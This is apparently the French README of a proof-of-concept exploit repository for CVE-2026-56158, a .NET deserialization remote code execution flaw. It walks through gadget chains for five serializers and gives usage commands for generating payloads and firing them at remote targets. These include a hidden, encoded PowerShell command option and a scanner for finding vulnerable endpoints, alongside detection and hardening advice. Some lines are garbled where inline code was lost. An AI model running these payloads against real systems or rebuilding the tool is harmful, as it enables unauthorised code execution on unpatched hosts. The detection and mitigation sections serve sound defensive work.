Génère cinq formats de payload de désérialisation .NET pour CVE-2026-56158, les distribue via des endpoints HTTP/SOAP/JSON, inclut un serveur simulé, un scanner et une sortie de rapport JSON.
Critique (CVSS 9.8) — Désérialisation de données non fiables (CWE-502) dans Microsoft .NET Framework et .NET Runtime Corrigé : 14 juillet 2026 | Attribué à : Positive Technologies (PT-2026-60174)
CVE-2026-56158 est une vulnérabilité critique d'exécution de code à distance dans Microsoft .NET Framework et le runtime .NET. La faille réside dans la désérialisation non sécurisée de données non fiables (CWE-502) — lorsqu'une application .NET utilise des sérialiseurs hérités (, , , ) ou Json.NET avec , un attaquant distant non authentifié peut fournir une charge utile sérialisée spécialement conçue qui déclenche l'exécution de code arbitraire lors de la désérialisation.
BinaryFormatterNetDataContractSerializerSoapFormatterObjectStateFormatterTypeNameHandling.All/AutoLa vulnérabilité présente un score de base CVSS 3.1 de 9.8 (Critique) avec le vecteur AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, ce qui signifie :
Microsoft a publié des mises à jour de sécurité le 14 juillet 2026 dans le cadre du cycle mensuel Patch Tuesday.
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-56158 |
| Titre | Vulnérabilité d'exécution de code à distance dans .NET Framework |
| CVSS 3.1 | 9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 2.0 | 7.5 Élevé (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| CWE | CWE-502 (Désérialisation de données non fiables) |
| Publiée | 14 juillet 2026 |
| Corrigée | 14 juillet 2026 |
| Découvreur | Positive Technologies (PT-2026-60174) |
| EPSS | Pas encore évalué |
| CISA KEV | Non répertorié |
Les sérialiseurs hérités du runtime .NET reconstruisent des types d'objets arbitraires à partir de flux sérialisés sans valider le type ni le contenu. Lorsqu'un attaquant contrôle l'entrée sérialisée, il peut amener le désérialiseur à instancier des types inattendus dont les constructeurs, les rappels ou les setters de propriétés exécutent du code arbitraire — une attaque classique par chaîne de gadgets de désérialisation.
La vulnérabilité affecte plusieurs mécanismes de sérialisation :
TypeConfuseDelegate délègue à Process.StartProcessStartInfo intégré dans le corps SOAPProcess.Start via le champ ViewState$type lorsque TypeNameHandling.All/Auto est activé ; le gadget ObjectDataProvider appelle Process.Start| Produit | Plage vulnérable | Version corrigée | Article KB |
|---|---|---|---|
| .NET 8.0 | 8.0.0 – 8.0.28 | 8.0.29 | KB5100998 |
| .NET 9.0 | 9.0.0 – 9.0.17 | 9.0.18 | KB5100998 |
| .NET 10.0 | 10.0.0 – 10.0.9 | 10.0.10 | KB5101001 |
| .NET Framework 3.5 | Toutes les versions antérieures au correctif | Corrigée | KB5100985 |
| .NET Framework 4.6.2–4.7.2 | Toutes les versions antérieures au correctif | Corrigée | KB5100991 |
| .NET Framework 4.8 | Toutes les versions antérieures au correctif | Corrigée | KB5101011 |
| .NET Framework 4.8.1 | Toutes les versions antérieures au correctif | Corrigée | KB5101002 |
| Visual Studio 2022 (17.12) | Avant correctif | 17.12.x | — |
| Visual Studio 2022 (17.14) | Avant correctif | 17.14.x | — |
| Visual Studio 2026 (18.7) | Avant correctif | 18.7.x | — |
Paquets Alpine Linux :
dotnet8-runtime < 8.0.29-r0dotnet9-runtime < 9.0.18-r0dotnet10-runtime < 10.0.10-r0Cet exploit PoC génère et délivre des charges utiles via 5 formats d'attaque par désérialisation différents :
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
→ Process.Start("cmd.exe", "/c calc.exe") → RCE
application/octet-streamActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.StartXML with type info → NetDataContractSerializer.ReadObject()
→ ProcessStartInfo instantiation → Process.Start → RCE
application/octet-stream ou text/xmlSOAP envelope → SoapFormatter.Deserialize()
→ ProcessStartInfo in SOAP body → Process.Start → RCE
text/xmlViewState binary → ObjectStateFormatter.Deserialize()
→ Process.Start via ViewState field → RCE
application/octet-stream__VIEWSTATE en HTTP POSTJSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
→ ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
$typeapplication/jsonTypeNameHandling.All ou Auto┌─────────────────────────────────────────────────────────────────────┐
│ exploit.py │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌───────────────────────┐ │
│ │ PayloadGen │ │ PayloadDeliv │ │ VulnerabilityScanner │ │
│ │ │ │ │ │ │ │
│ │ • BinaryFmt │ │ • HTTP POST │ │ • HTTP header check │ │
│ │ • NetData │──▶│ • SOAP/WCF │──▶│ • Endpoint discovery │ │
│ │ • SoapFmt │ │ • JSON API │ │ • ViewState analysis │ │
│ │ • ObjectState│ │ • File save │ │ • Version detection │ │
│ │ • Json.NET │ │ │ │ │ │
│ └──────────────┘ └───────────────┘ └───────────────────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────────┐ │
│ │ PayloadList │ │ Report Generator (JSON) │ │
│ │ (Mock .NET) │ │ • CVE metadata, CVSS, CWE │ │
│ │ │ │ • Payload hashes (SHA-256) │ │
│ │ Simulates │ │ • Delivery results │ │
│ │ vulnerable │ │ • RCE confirmation │ │
│ │ deserialization│ │ • References │ │
│ └──────────────┘ └──────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
Content-Type: application/octet-stream
Body: [BinaryFormatter payload]
│
▼
BinaryFormatter.Deserialize()
(no type validation)
│
▼
TypeConfuseDelegate invoked
│
▼
Process.Start("cmd.exe", "/c calc.exe")
│
▼
calc.exe spawns → RCE CONFIRMED
graph TD
A[Attacker] --> B[PayloadGenerator]
B --> B1[BinaryFormatter]
B --> B2[NetDataContractSerializer]
B --> B3[SoapFormatter]
B --> B4[ObjectStateFormatter]
B --> B5[Json.NET]
B1 --> C1[TypeConfuseDelegate Gadget]
B2 --> C2[ProcessStartInfo XML]
B3 --> C3[SOAP ProcessStartInfo]
B4 --> C4[ViewState Process.Start]
B5 --> C5[ObjectDataProvider Gadget]
C1 --> D[PayloadDelivery]
C2 --> D
C3 --> D
C4 --> D
C5 --> D
D --> E1[HTTP POST]
D --> E2[SOAP Endpoint]
D --> E3[JSON API]
D --> E4[File]
E1 --> F[.NET Runtime < 8.0.29]
E2 --> F
E3 --> F
E4 --> F
F --> G[Unsafe Deserialization - No Type Validation]
G --> H[Gadget Chain Executes]
H --> I[Process.Start - RCE]
I --> J[Arbitrary Code Execution]
subgraph "Vulnerable Components"
F
G
end
subgraph "Exploit Chain"
H
I
J
endCVE-2026-56158/
├── exploit.py # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py # Detection & hardening checker
├── test_exploit.py # Unit tests (74 tests)
├── e2e_test.py # End-to-end validation tests (37 tests)
├── README.md # This file — GitHub description page
├── USAGE.md # Detailed step-by-step usage guide
├── DIAGRAM.md # Architecture & attack flow diagrams
├── package.json # Project metadata
├── LICENSE # MIT License
└── .gitignore # Git ignore rules
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158
Générez les 5 formats de charges utiles avec la commande par défaut (calc.exe) :
python3 exploit.py
Sortie :
[INFO] Generating deserialization payloads...
[SUCCESS] binaryformatter: 395 bytes
[SUCCESS] netdatacontract: 437 bytes
[SUCCESS] soap: 716 bytes
[SUCCESS] objectstate: 153 bytes
[SUCCESS] jsonnet: 695 bytes
Génération avec une commande personnalisée :
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"
Démarrez le serveur .NET vulnérable simulé intégré et délivrez toutes les charges utiles :
python3 exploit.py --listen
Cela va :
Sortie attendue :
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered
Port personnalisé :
python3 exploit.py --listen --port 8080
Enregistrez un format de charge utile spécifique dans un fichier pour une livraison manuelle :
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"
# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"
# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"
Délivrez toutes les charges utiles à une cible .NET distante :
python3 exploit.py -u http://target:8080 -c "calc.exe"
Avec contournement du certificat SSL :
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure
Analysez une cible pour détecter la version de .NET, les points de terminaison de désérialisation et les problèmes de ViewState :
python3 exploit.py -u http://target:8080 --scan
Ceci vérifie :
X-AspNet-Version, X-Powered-By)/api/deserialize, /Service.svc, etc.)Générez un rapport JSON avec tous les détails de l'exploitation :
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json
Le rapport comprend :
python3 test_exploit.py
Les tests couvrent :
python3 e2e_test.py
Les tests couvrent :
Unit Tests: 74 passed, 0 failed
E2E Tests: 37 passed, 0 failed
Total: 111 tests passed
Exécutez le vérificateur de détection pour identifier les installations .NET vulnérables :
python3 detect.py
Analysez le code source à la recherche de motifs de désérialisation non sécurisée :
python3 detect.py /path/to/source/code
Le détecteur vérifie :
dotnet --list-runtimes)BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.DeserializeBinaryFormatter par System.Text.Json ou DataContractSerializer avec liaison de types stricteSerializationBinder lorsque les sérialiseurs hérités sont requisSwitch.System.Runtime.Serialization.UseLegacyBinaryFormatter=falseViewStateMac et ViewStateEncryptionTypeNameHandling.All/Auto ; utilisez TypeNameHandling.NoneSoapFormatter et NetDataContractSerializer pour les entrées non fiablesdotnet.exe, devenv.exe ou de processus hôtes .NET personnalisésCet exploit de preuve de concept est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. N'utilisez cet outil que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'utilisation non autorisée contre des systèmes que vous ne possédez pas est illégale et peut violer les lois relatives à la fraude et aux abus informatiques.
Les auteurs et contributeurs ne sont pas responsables de tout usage abusif ou de tout dommage causé par ce logiciel.
Licence MIT — voir le fichier LICENSE pour plus de détails.